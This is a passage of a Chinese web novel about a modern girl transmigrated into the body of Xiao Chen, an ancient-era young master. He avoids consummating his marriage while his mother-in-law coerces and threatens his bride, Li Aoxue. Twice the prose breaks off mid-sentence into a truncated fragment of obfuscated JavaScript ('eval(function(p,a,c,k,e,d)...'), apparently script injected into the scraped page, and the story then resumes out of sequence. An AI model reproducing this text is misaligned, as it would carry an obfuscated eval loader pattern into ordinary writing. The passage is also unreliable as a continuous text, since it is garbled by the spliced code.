肖晨喝了几口汤,又吃了些茶点,感觉精神好了许多。随后,他向李傲雪使了个眼色,李傲雪便带着丫鬟悄然退下。肖晨重新回到书案前,继续跟随老先生学习。只是,在学习的间隙,他的脑海中不禁浮现出李傲雪刚刚的模样,心中暗暗思忖,她今日这般举动,不知是否与肖母有关…… 肖晨晃了晃脑袋,将杂念驱散,觉得自己想得太多。毕竟肖母对李傲雪一直颇为满意,或许在这古代,女子本就该这般操持,体贴夫君也是常理。如此一想,他便定下心神,全神贯注地跟着老先生继续读书,沉浸在晦涩却又蕴含无尽智慧的古籍之中。 李傲雪从书房出来后,脚步匆匆地来到肖母身边。此时肖母正在花园的亭中,手持茶盏,悠然品茗。见到李傲雪过来,肖母抬了抬眼,问道:“给晨儿送过去了?他吃得如何?” 李傲雪赶忙福身,恭敬回道:“回娘的话,已经送过去了,少爷喝了汤,也吃了些茶点。”肖母微微点头,脸上露出一丝满意的神色,说道:“嗯,这便好。你往后啊,就得像这样,多关心晨儿。男人嘛,心都是被捂热的,你对他用心,他自然也会对你上意。” 李傲雪轻声应道:“儿媳明白,多谢娘教诲。儿媳日后定会好好伺候少爷。”肖母打量着李傲雪,又叮嘱道:“光伺候好还不够,今晚的事你可别忘了。为肖家开枝散叶才是头等大事,切莫再让我失望。” 李傲雪心中一紧,脸上泛起红晕,羞涩地低下头,小声说道:“儿媳记住了。”肖母看着她这副模样,摆了摆手,说道:“你先下去吧,好好准备准备。”李傲雪再次福身,这才转身离去,心中却像揣了只兔子般,慌乱又忐忑,不知今晚该如何面对肖晨。 到了中午,暖阳透过书房的窗棂,洒下斑驳光影。老先生有条不紊地合上手中古籍,微笑着对肖晨说道:“今日的课程便到此为止。”肖晨心中一松,原本他还以为会像现代学校那般,从早到晚都有课程安排呢。 老先生接着说道:“少爷,学问之道,贵在循序渐进、持之以恒。明日咱们接着上。不过,老夫观少爷的字,尚有提升空间,还需多加练习。字如其人,一手好字在日后的科举仕途上,亦是大有裨益。” 肖晨恭敬地应道:“多谢先生教诲,学生定当勤加练习。”肖父在一旁点头赞同:“先生所言极是,晨儿,你务必将先生的话牢记于心。” 说罢,肖父与肖晨一同将老先生送至门外,看着老先生离去的背影,肖父转身对肖晨说:“晨儿,为父知道读书辛苦,但你身负家族厚望,切莫懈怠。”肖晨郑重其事地点头:“父亲放心,儿子定不辱使命。” 随后,父子俩并肩往内堂走去,准备去用午饭。一路上,肖晨想着老先生说练字的事,暗自琢磨,古代的科举对书法要求颇高,看来自己得花些心思在这上面了。而另一边,李傲雪正在膳房忙碌,指挥着下人准备午饭,满心期盼着能让肖晨和肖家二老吃得满意,也希望借此能让自己在肖家的日子好过些。 一家人在饭厅依次落座,肖晨环顾一圈,却没瞧见李傲雪的身影,心中不禁疑惑,便开口问肖母:“娘,傲雪怎么没来?” 肖母神色自然,找了个借口说道:“她呀,去厨房了。说是想着咱们一家人口味各异,想亲自去记一记,以后好更好地操持家中饮食。这也是她的一番心意。” 肖父听闻,笑着点头:“嗯,这孩子倒是有心了。”肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着李傲雪的背影,肖晨心中暗暗松了口气。他虽已与李傲雪成亲,但灵魂是女孩的他,面对李傲雪时总有种难以言说的尴尬,不知该如何自然相处。此时,偌大的厅中只剩他一人,他决定回书房,继续练习老先生所说的书法,或许沉浸在笔墨之间,能让他暂时忘却这些烦恼。 而李傲雪沿着回廊漫步,心中五味杂陈。她明白肖晨对自己并无男女之情,可在这深宅大院里,她又身不由己。路过花园时,看着满园盛开的花朵,她却无心欣赏,脑海中不断思索着该如何改变肖晨对自己的看法,如何完成肖母交代的任务,忧虑如同阴霾,笼罩着她的心。 李傲雪在花园中徘徊良久,不知不觉走到了一处偏僻的角落。这里有一座小小的八角亭,四周被郁郁葱葱的花木环绕,显得格外幽静。她缓缓走上亭中,坐在石凳上,望着眼前的景色,思绪纷乱如麻。 此时,一阵微风吹过,撩动她的发丝,也带来了几分凉意。李傲雪不禁打了个寒颤,心中的愁绪愈发浓重。她想到自己嫁入肖家后,虽然肖家二老对她尚无过多苛责,但肖晨的态度却始终让她捉摸不透。她深知,若不能与肖晨和睦相处,为肖家诞下子嗣,自己在这家中的地位终究不稳。 “难道真的要按照母亲说的,今晚……”李傲雪的脸颊瞬间滚烫起来,心中既羞涩又无奈。她自幼接受的是传统礼教的熏陶,要主动做出那样的事,实在是让她难以启齿。可若不如此,又怕肖母怪罪,给自己和家人带来麻烦。 另一边,肖晨在书房中铺开宣纸,拿起毛笔,试图让自己专注于练字。然而,他的心思却总是不由自主地飘向李傲雪。他也清楚,自己如今的身份已经成婚,应该承担起相应的责任,但内心深处,却始终无法将自己完全代入这个角色。 “或许,我应该试着和她好好相处?”肖晨一边在宣纸上写下歪歪扭扭的字迹,一边暗自思忖,“可又该如何相处呢?直接告诉她我的真实情况?那肯定不行,她又怎会相信如此荒诞之事……”想到这里,肖晨不禁叹了口气,手中的毛笔也顿住,墨汁在宣纸上晕染开来,如同他此刻纷乱的心绪。 时间在沉思中悄然流逝,不知不觉已近黄昏。夕阳的余晖透过窗户,洒在书房的地面上,将整个房间染成了暖橙色。肖晨放下毛笔,揉了揉发酸的手腕,决定出去走走,放松一下心情。而李傲雪也在此时起身,整理了一下衣衫,准备回房,为晚上即将到来的未知做些心理准备。两人在回廊的转角处不期而遇,目光交汇的瞬间,都有些微微一愣,随即各自别过头去,气氛显得有些尴尬。 4. 我不会碰你的,你不要逼我 肖晨主动打破沉默,开口问道:“你怎么在这里?”李傲雪微微低下头,轻声回答:“有些无聊,便出来走走。”肖晨听后,也没再多说什么,抬头看了看天色,说道:“都快晚上了,我们去吃饭吧。” 李傲雪微微点头,应了声“好”。两人并肩往饭厅走去,一路上,谁都没有再说话,只有脚步声在寂静的回廊里轻轻回响。 到了饭厅,饭菜已经摆好。两人相对而坐,肖晨随意地看了一眼桌上的菜肴,说道:“今天的菜看起来还不错。”李傲雪微微浅笑,说道:“少爷喜欢就好,这都是按照您和爹娘的口味准备的。” 用餐过程中,气氛有些沉闷。肖晨偶尔会抬头看一眼李傲雪,见她默默吃饭,举止优雅,心中不禁有些感慨。他知道李傲雪出身大家闺秀,言行举止都符合这时代对女子的要求,只是自己因为特殊原因,难以像寻常丈夫那般对待她。 吃完饭后,丫鬟们进来收拾碗筷。肖晨犹豫了一下,对李傲雪说道:“你……晚上早些休息吧。”李傲雪心中一紧,想起肖母白天的叮嘱,脸上浮现出一抹红晕,低声说道:“少爷,我……”话到嘴边,却又不知该如何说出口。 肖晨见她欲言又止的模样,疑惑地问道:“怎么了?”李傲雪咬了咬嘴唇,鼓起勇气说道:“少爷,今晚……我们……”肖晨瞬间明白她的意思,心中一阵慌乱,赶忙说道:“那个,你别误会,我只是觉得你今日想必累了,好好休息。” 李傲雪听了,心中既失望又羞涩,低下头不再说话。肖晨见状,也觉得有些尴尬,起身说道:“我还有些事,先回书房了。”说罢,匆匆离开饭厅,留下李傲雪一人呆坐在原地,心中五味杂陈。 在角落一直盯着他们的丫鬟,见此情形,不敢有丝毫耽搁,脚步匆匆地跑到肖母那里,将饭厅发生的事情一五一十地说了出来。肖母听后,脸色瞬间沉了下来,二话不说,立刻赶到饭厅。 肖母走进饭厅,看到李傲雪还呆坐在原地,满脸的失落与无助。她走到李傲雪面前,目光严厉地盯着她,质问道:“你晚上打算怎么办?难道就由着晨儿这样敷衍过去?你别忘了我白天跟你说的话!” 李傲雪被肖母的气势吓得一颤,赶忙起身,“扑通”一声跪下,眼中含泪说道:“娘,儿媳……儿媳也不知该如何是好。少爷他……他似乎无意于此,儿媳实在不知该怎么主动。” 肖母眉头紧皱,冷哼一声:“哼,你身为女子,确实有些话不好说出口,但事已至此,你也不能就这样坐以待毙。你得想办法勾起晨儿对你的兴趣,让他主动亲近你。这圆房之事,关系到我们肖家的香火,你可不能掉以轻心!” 李傲雪哭着说道:“娘,儿媳明白此事重大,可……可儿媳真的不知该从何做起。还望娘给儿媳指条明路。” 肖母看着跪地哭泣的李傲雪,心中虽有气,但也明白此刻不是责怪的时候。她思索片刻,缓缓说道:“你晚上回房后,好好打扮一番,再准备些少爷喜欢的点心,主动跟他聊聊。言语间温柔些、体贴些,莫要再像个木头似的。男人嘛,最吃这一套。记住,今晚无论如何,都要把事情办成,否则……”肖母没有再说下去,但那威胁的意味已然十分明显。 李傲雪赶忙点头,说道:“儿媳记住了,多谢娘指点。儿媳今晚一定尽力而为。”肖母这才脸色稍缓,说道:“起来吧,好好准备,别让我失望。”李傲雪缓缓起身,用手帕擦了擦眼泪,心中既紧张又忐忑,暗暗下定决心,一定要按照肖母说的去做,无论如何都要完成今晚的任务。 李傲雪精心打扮了一番,身着一袭淡粉色的纱裙,发丝间点缀着一朵小巧的珠花,显得温婉动人。她深吸一口气,端起准备好的热茶,迈着略显紧张的步伐走向书房。 推开书房门,肖晨正坐在书桌前,手中拿着一本书,听到动静抬起头来。见是李傲雪,他微微一愣,说道:“不是让你去休息吗,你怎么来了?” 李傲雪脸颊泛红,将热茶轻轻放在桌上,鼓起勇气说道:“少爷,新婚夫妻都是要睡在一起的。你不回房,我又怎能独自待着?” 肖晨听后,心中一阵慌乱。他看着李傲雪,一时不知该如何回应。他虽明白这是古代的常理,可自己的情况特殊,实在不知该如何面对。 沉默片刻,肖晨试图找个借口婉拒:“我……我今晚想多读会儿书,你先回房吧,别在这里陪着我耽误时间。” 李傲雪咬了咬嘴唇,眼中满是委屈与坚持:“少爷,读书虽重要,但也不能不顾及身子。您先喝口茶,歇一歇吧。而且,我也想在一旁陪着您,为您研磨添香,也好尽些妻子的本分。”说着,她走到一旁,拿起墨锭,轻轻在砚台上研磨起来,动作轻柔而娴熟。 肖晨看着李傲雪,心中有些不忍。但一想到要与她同处一室,甚至同榻而眠,内心又充满了抗拒。他无奈地叹了口气,说道:“傲雪,你不必如此。你我之间……唉,罢了,你既来了,便先在这坐会儿吧。”说罢,他又低下头,佯装看书,可书中的字却一个也看不进去,心中一直在思索着该如何应对这尴尬的局面。 李傲雪见肖晨终于松口,眼中闪过一丝欣喜,赶忙端起茶杯,递到肖晨面前,轻声说道:“少爷,你喝点茶,读书别太辛苦了。” 肖晨看着眼前温婉的李傲雪,心中暗自无奈,他深知躲得了一时躲不了一世,犹豫片刻后说道:“你去准备洗澡水吧,我洗好就去睡觉。你也去早点睡吧。” 李傲雪心中一喜,忙不迭点头应道:“是,少爷,我这就去安排。”说罢,她匆匆走出书房,去吩咐下人准备洗澡水。 不一会儿,洗澡水便准备好了。李傲雪回到书房,轻声告知肖晨。肖晨起身,跟着李傲雪来到沐浴的房间。待肖晨进去后,李傲雪守在门外,心中既紧张又期待。她回想起肖母的叮嘱,暗暗给自己打气,今晚无论如何都要和肖晨圆房。 过了许久,肖晨沐浴完毕走了出来。李傲雪迎上前去,说道:“少爷,水已经撤了,咱们回房吧。”肖晨微微点头,两人一同往房间走去。 到了房间,屋内已点上了红烛,摇曳的烛光将整个房间映照得温馨而暧昧。肖晨看着这熟悉又陌生的场景,心中愈发忐忑。李傲雪走到床边,坐下后轻轻拍了拍身旁的位置,眼神羞涩又带着期许,说道:“少爷……” 肖晨深吸一口气,走到床边坐下,却与李傲雪保持着一段距离。他不知道该如何迈出下一步,内心天人交战,十分煎熬。而李傲雪也紧张得手心出汗,她微微低下头,手指不安地绞着衣角,房间里的气氛一时变得极为微妙,安静得只能听到两人略显急促的呼吸声。 肖晨心里不断给自己打气,暗自思忖着:“自己在现代就是女生,女人什么样子自己再清楚不过,怕什么,把她当闺蜜不就行了。”然而即便这样想,面对如此情境,他还是难免紧张。 李傲雪见他坐在床边失了神,脸颊绯红,犹豫片刻后,还是鼓起勇气主动靠近肖晨,开始小心翼翼地给他宽衣解带。她的动作轻柔且带着几分羞涩,指尖触碰到肖晨衣物的瞬间,两人都微微一僵。 肖晨被李傲雪这突如其来的举动惊得回过神来,身体下意识地紧绷。但他又提醒自己要镇定,努力放松下来。李傲雪抬眼偷偷看了肖晨一眼,见他没有抗拒,便继续手中的动作,一颗一颗地解开衣扣。 随着衣物逐渐松开,房间里的气氛愈发旖旎。李傲雪心跳如鼓,不敢直视肖晨,而肖晨表面上故作镇定,可内心也是慌乱如麻。当李傲雪将肖晨的外衣脱下,轻声说道:“少爷,夜已深,早些安歇吧。”说罢,自己也侧身缓缓躺到床上,拉过被子,露出一双含情脉脉又略带紧张的眼睛看着肖晨。 肖晨深吸一口气,缓缓躺了下去,心里默默念叨着把李傲雪当作闺蜜,试图让自己平静下来。只是在这寂静的夜里,身旁躺着一位娇羞的女子,又怎能轻易平复心中的波澜,接下来的夜晚对他而言,注定是漫长而煎熬的。 李傲雪见肖晨依旧没有动静,心一横,咬着牙将身上的衣物一件件脱下,最后只剩下贴身的亵衣。轻纱般的亵衣勾勒出她曼妙的身形,肌肤在烛光下若隐若现。 肖晨看到这一幕,着实吃了一惊。但因内心实在把自己当作女性视角,第一反应竟以为李傲雪是觉得热,所以才脱衣,并没有过多往男女情事上联想。不过,出于本能,他还是不禁感叹:“她身材很不错。”但也仅仅是如同欣赏一件美好的事物,并没有生出别样的情愫。 李傲雪满脸通红,羞涩地钻进被子里,偷偷抬眼看肖晨,眼神中满是期待与紧张。她轻声唤道:“少爷……”声音娇柔婉转,带着丝丝缕缕的羞怯。 肖晨这才回过神来,意识到此刻情形的尴尬与暧昧。他的脸也微微泛红,心里有些不知所措。虽说在现代思想里,对身体的观念较为开放,但在这古代的情境下,面对如此主动的李傲雪,他还是有些无措。他清了清嗓子,说道:“傲雪,你……你这是做什么?”语气中带着一丝慌乱。 李傲雪咬着嘴唇,鼓起勇气说道:“少爷,我们既已成亲,理应……理应同床共枕,行夫妻之礼。”说完,便将头埋进被子里,不敢再看肖晨。 肖晨佯装一脸懵懂,仿佛真不晓得男女之事,说道:“我们这不已经睡在一起了嘛。”说着,还细心地给李傲雪掖了掖被子,温柔地说道:“天不早了,你也累了一天,早点睡吧。” 李傲雪心中焦急,见肖晨如此反应,一咬牙,紧紧抱住肖晨,身子微微颤抖,带着哭腔说道:“少爷,我们都是夫妻了,按照规矩,应该同房才行呀。若是……若是今晚不能圆房,娘那边我实在没法交代。” 肖晨被她这一抱,身子瞬间僵住,脸上一阵发烫。他知道李傲雪夹在中间为难,可自己实在无法突破心理障碍。他轻轻拍了拍李傲雪的背,试图安抚她,说道:“傲雪,你别着急。我……我只是觉得,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李傲雪微微松开手,却依旧抓着肖晨的衣角,不敢有丝毫松懈,眼神中满是恐惧与无助,仿佛生怕肖晨下一秒就会离开。肖晨长叹一口气,思绪纷乱如麻,不知该如何化解这尴尬又棘手的局面。 肖晨看着李傲雪,目光坚定又带着一丝无奈,缓缓说道:“我已经和你说了,不会对你产生男女之情,自然也不会与你亲近。从昨天我们新婚之时,我就跟你把话说明白了。你也别再为难我了,好吗?” 李傲雪听闻,泪水如断了线的珠子般滚落,她满心悲戚,声音颤抖着说:“少爷,可是在这深宅大院里,我若不能与您圆房,往后的日子该如何是好?娘那边又该如何交代?我真的没有别的办法了呀。”她满心绝望,只觉得自己的命运好似被紧紧攥住,毫无挣脱的可能。 肖晨心中也满是纠结,他深知李傲雪的无奈,可自己内心的障碍却难以逾越。沉默良久,他缓缓开口:“傲雪,我明白你的难处。可感情这种事,实在勉强不得。要不这样,我明日会找个恰当的时机,好好跟娘说清楚,尽量不让你为难。你看行吗?” 李傲雪微微点头,可心中依旧充满担忧。她知道肖母的脾气,肖晨的话又能起多大作用呢?但此刻,她也只能把希望寄托在肖晨身上,松开了紧紧抓着肖晨衣角的手,低声啜泣着,在这寂静的夜里,她的哭声显得格外悲凉。 肖晨看着李傲雪哭得梨花带雨,终究还是见不得女孩子流泪,他轻叹一声,抬手轻轻替她擦干净眼泪,动作温柔而怜惜。 “傲雪,”肖晨的声音满是诚恳,“我也不想你只是为了顺从别人的意愿就过一辈子。你这么好,理应拥有属于自己的生活。感情的事强求不来,或许有一天,你会遇到那个能让你真正心动、你真心爱上的人。到那时,你便能拥有一段两情相悦的美好姻缘。” 李傲雪微微一怔,泪眼朦胧地看着肖晨,似乎从未想过他会说出这样的话。在她的认知里,女子嫁人后便只能依附于丈夫,遵循婆家的规矩。可肖晨的话,却如同一束光照进了她灰暗纠结的世界。 “少爷……”李傲雪嘴唇轻颤,想要说些什么,却又不知从何说起。她心中五味杂陈,既有对未来未知的迷茫,又因肖晨这一番体贴的话语而感到一丝温暖。 肖晨看着她,眼中满是鼓励:“所以,你别把自己逼得太紧,也别太在意旁人的眼光。人生还长,总会有转机的。”他顿了顿,又道,“今晚,你就安心睡吧,别想太多。” 李傲雪满心无奈,她明白自己实在没办法再逼肖晨太紧,心中虽有万般不甘心,可在这深沉的夜色与疲惫的情绪交织下,终是缓缓闭上了眼,带着满心的纠结与不甘,沉沉睡去。 她的呼吸逐渐平稳,在睡梦中,眉头却依旧微微蹙着,似是仍在为这难以解决的困境而烦恼。肖晨见她睡了,轻手轻脚地从床上起身,生怕惊扰到她。他走到窗边,望着窗外如水的月光,心中思绪万千。 他知道,李傲雪夹在中间着实不易,而自己的特殊情况又让这局面变得更加复杂棘手。明日要如何向肖母解释,又该如何在不伤害李傲雪的前提下,让她能在这肖家安稳生活,成了肖晨亟待解决的难题。月光洒在他身上,勾勒出他略显单薄又满是愁绪的身影,在这寂静的夜里,他独自思索着应对之策,久久未眠。 5. 被婆婆打的她 一夜过去,清晨的阳光透过窗户纸,轻柔地洒在床榻上。李傲雪悠悠转醒,睁眼便瞧见空荡荡的床铺另一侧,身旁已没了肖晨的身影。她微微一愣,随后才想起昨夜发生的种种,心中不禁又是一阵失落。 起身整理好衣衫,李傲雪简单洗漱过后,便前往前厅向肖家二老请安。一路上,她心中忐忑不安,不知该如何面对肖母。到了前厅,肖父肖母已坐在主位上,肖晨也在一旁。李傲雪赶忙上前,恭敬地行礼:“爹娘,儿媳给您们请安。” 肖母上下打量着李傲雪,见她神色略显憔悴,心中已然猜出几分,脸色顿时沉了下来。她冷哼一声,说道:“傲雪,昨晚的事办得如何了?”李傲雪心中一紧,低下头,嗫嚅着不知该如何作答。 肖晨见状,赶忙上前一步,说道:“娘,您别怪傲雪。是儿子觉得,与傲雪刚成婚不久,彼此还不够了解,想多些时间相处,再行夫妻之事。还望娘能理解。” 肖母听了,眉头紧皱,看着肖晨说道:“晨儿,你这话是什么意思?男婚女嫁,圆房生子乃天经地义之事。你们都成婚两日了,还这般推脱,像什么话!傲雪,你也是,怎么就不能劝劝少爷?” 李傲雪心中委屈,却又不敢辩驳,只得低声说道:“娘,儿媳无能,没能劝服少爷,还望娘责罚。” 肖父在一旁一直未作声,此时他放下手中的茶盏,缓缓说道:“夫人,晨儿既然这么说,想必也有他的考量。感情之事,强求不得,不如就随他们去吧,给他们些时间。” 肖母听了,虽心有不满,但也不好再反驳肖父,只得说道:“罢了罢了,就依老爷。傲雪,你可得多上点心,早日与晨儿圆房,为肖家延续香火。” 李傲雪赶忙应道:“是,娘,儿媳记住了。” 请安过后,肖晨和李傲雪一同离开前厅。李傲雪跟在肖晨身后,轻声说道:“少爷,多谢您方才为我解围。”肖晨回头看了她一眼,说道:“你我既已成亲,我自然不会让你独自面对这些。只是感情之事,还需慢慢来。” 李傲雪微微点头,心中对肖晨多了几分感激。两人正说着,忽然有下人来报,说李傲雪的娘家派人送了些东西过来,正在门外等候。李傲雪听了,赶忙前去查看。 李傲雪看着娘家人送来的一堆补品,还有那副格外显眼的百子千孙图,心中五味杂陈。她自然明白娘家人的殷切期望,可如今自己在这方面实在有心无力。此时,肖晨已转身去书房读书,她只能强打起精神,指挥着下人将东西妥善安置好。 还没等她喘口气,便有丫鬟匆匆跑来,说道:“少夫人,老夫人请您过去一趟。”李傲雪心中一凛,知道怕是肖母又要追问圆房之事了,但也只能硬着头皮前往。 到了肖母的院子,李傲雪迈进房门,福身行礼:“娘,您找儿媳何事?”肖母坐在椅子上,手中拨弄着念珠,抬眼打量了她一番,说道:“傲雪啊,你娘家送来的东西我都知道了。你也明白他们的意思,咱们肖家就盼着你和晨儿早日诞下子嗣。你说说,你打算什么时候把这事儿办了?” 李傲雪面露难色,犹豫片刻后说道:“娘,少爷他……他昨日也说了,想多些时间与儿媳相互了解。儿媳也在努力,只是……只是感情之事急不得呀。” 肖母眉头一皱,不悦道:“哼,了解?都成婚这么久了还不够了解?傲雪,你可别拿这话来搪塞我。我看你就是没上心!你若是再这般下去,让旁人看了笑话,我可饶不了你!” 李傲雪心中害怕,赶忙跪下,哭着说道:“娘,儿媳不敢。儿媳一定想办法,求娘再给儿媳些时间。” 肖母看着跪地哭泣的李傲雪,语气稍微缓和了些:“罢了,起来吧。我再给你些时日,你可得抓紧了。” 李傲雪起身,用手帕擦了擦眼泪,说道:“是,娘。儿媳记住了。” 从肖母院子出来,李傲雪满心疲惫。她漫无目的地走着,不知不觉来到了花园。看着园中的繁花似锦,却无心欣赏,心中一直在思索着该如何改变肖晨的想法,完成肖母交代的任务。 中午午,李傲雪等待老先生教授完诗词课,一直在留意着肖晨的动静。见他从书房出来,便赶忙迎上前去,眼中带着一丝期待,轻声问道:“少爷,我能陪你一起看书吗?” 肖晨心中一紧,他实在想避免与李傲雪过多接触,犹豫了一下说道:“不用了,我这会儿想出去逛逛,透透气。你要是想看书,自己去书房就行,书房里的书随你翻阅。” 李傲雪听了,眼中闪过一丝失落,但很快又强打起精神,说道:“那好吧,少爷。您出去逛逛也好,注意安全,早些回来。” 肖晨微微点头,转身离去。看着他渐行渐远的背影,李傲雪心中有些惆怅。但她想起肖母的叮嘱,又觉得不能就此放弃。思索片刻后,她决定还是先去书房,说不定能从肖晨平日爱看的书中,找到与他交流的切入点。 李傲雪来到书房,轻轻推开门,屋内弥漫着淡淡的墨香。她环顾四周,书架上摆满了各类书籍。她走到书架前,仔细翻看着,发现大多是诗词文集、历史典籍。她挑选了一本肖晨似乎经常翻阅的诗词集,坐在书桌前,认真研读起来,希望能通过这些文字,更了解肖晨的喜好与心境,为之后与他的交流做好准备。 而另一边,肖晨漫步在府中的花园里,思绪却不自觉地飘向李傲雪。他知道自己的态度或许有些冷淡,可又实在不知该如何面对这份特殊的“夫妻情”。他看着满园盛开的花朵,心中暗暗叹气,不知这复杂的局面该如何化解。 肖晨叫来贴身小厮,低声问道:“这城里有没有什么演奏得特别好听的乐馆?”名叫阿成的小厮赶忙点头,恭敬答道:“少爷,城中倒是有一家,名为‘悦音阁’,那里的乐师技艺精湛,弹奏的曲子在城里颇负盛名。”肖晨听了,眼中闪过一丝兴致,说道:“那你带我去吧。” 阿成不敢耽搁,立刻在前引路。二人出了肖府,一路朝着“悦音阁”走去。街道上热闹非凡,人来人往。肖晨看着周围的市井景象,心情稍稍放松了些。不多时,他们便来到了“悦音阁”前。 “悦音阁”装饰颇为雅致,朱红色的大门,门楣上挂着一块古朴的牌匾。门口站着两个伙计,见有客人来,赶忙笑脸相迎:“客官里边请,阁内正有精彩演奏呢。”肖晨和阿成走进阁内,里面布置得精致典雅,桌椅摆放整齐,台上一位乐师正专注地弹奏着乐曲,婉转悠扬的旋律在阁内回荡。 肖晨找了个空位坐下,点了壶茶,静静聆听。这乐声仿佛有一种魔力,将他从家中复杂的情境中暂时抽离出来。他微闭双眼,沉浸在这美妙的音律里,试图让自己连日来紧绷的神经舒缓下来。阿成则安静地站在一旁,看着自家少爷难得这般惬意放松的模样。 肖母听着下人汇报,得知儿子已经出去,且李傲雪还见了他,儿子才出门的。她心中顿时起疑,暗自思忖:一定是她惹了儿子不开心。于是,肖母匆匆来到书房,见李傲雪正坐在书桌前翻阅书籍。 肖母走进书房,脸色阴沉,质问道:“你怎么回事?怎么能让自己的夫君一个人出去?是不是你又说了什么,做了什么,惹晨儿不高兴了?” 李傲雪被这突如其来的质问吓了一跳,赶忙起身,恭敬地说道:“娘,儿媳没有。儿媳只是问少爷能不能陪他一起看书,少爷说想出去逛逛,便自行离开了。儿媳真的不知道哪里做得不好,让少爷不开心了。” 肖母眉头紧皱,在书房里来回踱步,说道:“你呀你,我不是都跟你说了要主动些,想办法拉近和晨儿的关系吗?你怎么连这点事都办不好!” 李傲雪眼眶微红,委屈地说道:“娘,儿媳已经很努力了,可少爷似乎有意回避儿媳。儿媳实在不知该如何是好。” 肖母停下脚步,看着李傲雪,语重心长地说:“傲雪,娘知道这对你来说有些难,但你要明白,你和晨儿早日圆房,对整个肖家都至关重要。你不能总是这么被动,要主动出击,想尽一切办法留住晨儿的心。” 李傲雪咬了咬嘴唇,坚定地点点头,说道:“娘,儿媳记住了。儿媳一定努力,不让您失望。” 肖母目光如炬地盯着李傲雪,加重了语气说道:“我还是不放心,今天晚上你必须做到和晨儿圆房。而且你不许告诉晨儿这是我的意思,要是明天他为此事来问我,你就等着被赶出去!” 李傲雪听后,身子不禁一颤,心中满是恐惧与无奈。她“扑通”一声跪下,泪水在眼眶中打转,哀求道:“娘,少爷他心意坚决,儿媳实在不知如何是好。但儿媳一定拼尽全力,求娘再给儿媳一些时间,别这么决绝。” 肖母冷哼一声,丝毫不为所动:“哼,时间?我已经给了你足够时间。今晚若是办不成,就休怪我无情。肖家容不下不懂规矩的媳妇。”说完,转身便走,留下李傲雪瘫坐在地,满心绝望。 李傲雪深知肖母言出必行,心中慌乱如麻。她缓缓起身,看着窗外渐暗的天色,想着今晚不知要如何面对肖晨,又该用怎样的法子达成肖母的要求。可无论怎么想,都觉得前路艰难,几乎看不到一丝希望。但为了能在肖家生存下去,她只能硬着头皮,去迎接这如临深渊般的夜晚。 李傲雪强忍着泪水,努力让自己镇定下来。她深知此刻慌乱无济于事,必须想出一个办法来应对今晚的局面。她在书房里来回踱步,绞尽脑汁思索着对策。 突然,她想起肖母提到过肖晨喜好诗词歌赋,或许可以从这方面入手。她急忙重新翻开那本肖晨常看的诗词集,仔细研读起来,试图寻找灵感。她一边读,一边在脑海中构思着与肖晨交流诗词时的场景,希望能借此打开肖晨的心门,缓和两人之间的关系,进而完成肖母交代的任务。 不知不觉,天色已经完全暗了下来。李傲雪深知不能再拖延,她怀着忐忑的心情,起身回到自己的房间,精心打扮了一番。她挑选了一件淡雅的粉色罗裙,略施粉黛,让自己看起来温婉动人。随后,她吩咐丫鬟准备了一些肖晨平日里爱吃的点心,又煮了一壶香茗,带着这些来到了肖晨的书房。 此时,肖晨刚从悦音阁回来,正坐在书房里看书。听到敲门声,他头也不抬地说道:“进来。”李傲雪推开门,轻手轻脚地走了进去,将点心和香茗放在桌上,轻声说道:“少爷,您回来了。我给您准备了些点心和茶。” 肖晨抬起头,看到是李傲雪,微微一愣,说道:“你怎么来了?”李傲雪深吸一口气,鼓起勇气说道:“少爷,我……我想和您探讨一下诗词。今天在书房看了您常读的那本诗词集,有许多感悟,想与您分享。” 肖晨听了,眼中闪过一丝诧异,但很快恢复平静,说道:“哦?你对诗词也有兴趣?”李傲雪赶忙点头,说道:“是的,少爷。我一直喜爱诗词,只是平日里没有机会与他人探讨。今日读了您的书,觉得其中见解独到,很想听听您的看法。” 肖晨放下手中的书,示意李傲雪坐下,说道:“那你说说,对哪首诗词感悟颇深?”李傲雪心中一喜,赶忙说道:“就说那首《临江仙·夜饮东坡醒复醉》吧,儿媳觉得苏轼以简洁的笔墨,勾勒出一幅洒脱的夜归图,‘小舟从此逝,江海寄余生’这句,更道出了一种对自由生活的向往。不知少爷对此有何见解?” 肖晨听了,微微点头,说道:“你倒是有些见解。苏轼一生坎坷,这句词确实流露出他对尘世的厌倦和对自由的渴望。不过,我觉得其中也蕴含着他无法真正超脱的无奈。” 两人你一言我一语,围绕着诗词展开了热烈的讨论。渐渐地,肖晨的态度不再像之前那般冷淡,李傲雪也逐渐放松下来。然而,随着时间的推移,李傲雪心中的压力却越来越大,毕竟她今晚还有更重要的任务,不知该如何开口。 肖晨看时间不早了说着,眼神中透着一丝坚决:“今天我已经告诉母亲了,今天我就不回去睡了,你没事就离开吧。” 李傲雪听闻,犹如被一盆冷水当头浇下,满心的希望瞬间破碎。她呆呆地看着肖晨,嘴唇颤抖,想要说些什么,却一时语塞。 过了好一会儿,李傲雪才回过神来,眼中泪光闪烁,带着一丝哀求道:“少爷,是我哪里做得不好,惹您生气了吗?您为何不愿回房休息?” 肖晨微微皱眉,避开李傲雪的目光,说道:“与你无关,我只是想独自静一静。你不必多问,早些回去吧。” 李傲雪心中明白,肖晨心意已决,再强求也无济于事。但一想到肖母那严厉的命令和威胁,她心中一阵绝望。然而,她还是不想放弃,鼓起最后一丝勇气说道:“少爷,我知道您或许觉得儿媳唐突,可儿媳只是真心想与您增进了解。您看,今晚咱们谈论诗词,不也颇为愉快吗?” 肖晨沉默不语,他确实在方才的诗词交流中,感受到李傲雪并非毫无才情,可他内心的障碍依旧难以逾越。许久,他缓缓说道:“傲雪,今晚与你谈论诗词,我的确觉得畅快。但这并不代表我已做好与你同床共枕的准备。感情之事,强求不得,你莫要再为难我,也莫要为难自己。” 李傲雪听着肖晨这番话,心中五味杂陈。她知道,今晚怕是无法完成肖母交代的任务了。可明日等待自己的,又将是什么呢?她不敢想象。无奈之下,她只能起身,向肖晨福了福身,声音哽咽地说道:“那……那好吧,少爷。我告退,您也早些休息。” 